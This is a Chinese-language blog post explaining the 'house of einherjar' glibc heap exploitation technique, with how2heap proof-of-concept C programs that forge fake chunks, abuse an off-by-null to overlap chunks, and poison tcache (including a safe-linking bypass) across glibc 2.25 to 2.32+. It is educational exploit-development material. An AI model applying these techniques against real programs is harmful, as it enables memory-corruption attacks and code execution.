house of einherjar

很大胆的利用方式,有被吓到(*Φ皿Φ*)

原理

如果程序存在of by null漏洞且能泄露堆地址的话就能使用这个方法

利用

2.25以前

实验代码如下(来自how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

uint8_t* a;
uint8_t* b;
uint8_t* d;

a = (uint8_t*) malloc(0x38);

int real_a_size = malloc_usable_size(a);
size_t fake_chunk[6];

fake_chunk[0] = 0;//not used
fake_chunk[1] = 0;//not used now
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize

b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

a[real_a_size] = 0;

size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

fake_chunk[1] = fake_size;

free(b);
d = malloc(0x200);
}
  • malloc一个chunk(a)用于控制下一个申请的chunk(b)的presize和preinuse位
  • 伪造fake chunk的fd、bk、fd_nextsize和bk_nextsize绕过unlink的检查
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    FD = P->fd;								      \
    BK = P->bk; \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
    malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

    ……

    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
    || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
    malloc_printerr (check_action, \
    "corrupted double-linked list (not small)", \
    P, AV); \
  • malloc一个unsorted bin范围的chunk(b),用于触发向下合并
  • a[real_a_size] = 0利用of by null修改b的preinuse位,在free(b)的时候触发向下合并
  • 计算从b到fake chunk的偏移,减去的0x10是b的size和presize
  • 修改b的presize为fake_size
  • 修改fake chunk的size为fake_size(不改也行,这个版本没检查)
  • free(b)触发向下合并
  • 再申请chunk的时候就会从合并的chunk里切割

2.26-2.28

  • 有了tcache,申请的chunk要在tcache的范围外
  • 2.26unlink增加了检查
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #define unlink(AV, P, BK, FD) {                                            \
    //size和next chunk的presize的检查
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
    malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
    FD = P->fd; \
    BK = P->bk; \

    ……

    }
    要伪造fake chunk的size

2.29-2.31

2.29增加了对top chunk的size的合法性检查,由于b在向下合并后还会向上合并,这就必然导致top chunk的size不合法

1
2
3
4
5
6
7
use_top:

victim = av->top;
size = chunksize (victim);

if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

可以通过在free(b)前再malloc随便一个chunk来防止和top chunk合并,但这样还是会触发另一个检查
2.29_int_malloc遍历unsorted bin的时候还增加了对chunk的size的合法性的检查

1
2
3
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");

因此我们需要一种全新的利用方法,实验代码如下(来自how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

intptr_t stack_var[4];
intptr_t *a = malloc(0x38);

a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck

uint8_t *b = (uint8_t *) malloc(0x28);
int real_b_size = malloc_usable_size(b);
uint8_t *c = (uint8_t *) malloc(0xf8);
uint64_t* c_size_ptr = (uint64_t*)(c - 8);

b[real_b_size] = 0;

size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;

a[1] = fake_size;

intptr_t *x[7];

for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}

for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
free(x[i]);
}

free(c);

intptr_t *d = malloc(0x158);
uint8_t *pad = malloc(0x28);

free(pad);
free(b);

d[0x30 / 8] = (long) stack_var;

malloc(0x28);

intptr_t *e = malloc(0x28);

// sanity check
assert(e == stack_var);
}
  • 先申请a(0x40)、b(0x30)和c(0x100)三个chunk,填满tcache,再将然后free(c)利用of by null漏洞形成堆块重叠,如示意图所示:
  • malloc回c,然后再malloc一个0x28的chunk然后free绕过tcache的count检查
  • free(b),b进入tcache,通过d改变b的fd指向stack_var,再申请两个chunk就能控制stack_var

2.32以上

实验代码多了这么一步:

1
2
3
4
5
6
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}

因为2.32增加了chunk地址对齐0x10的检查

1
2
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");

还改了这一步

1
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);

因为2.32增加了safe-linking机制


house of einherjar
http://akaieurus.github.io/2023/02/06/house-of-einherjar/
作者
Eurus
发布于
2023年2月6日
许可协议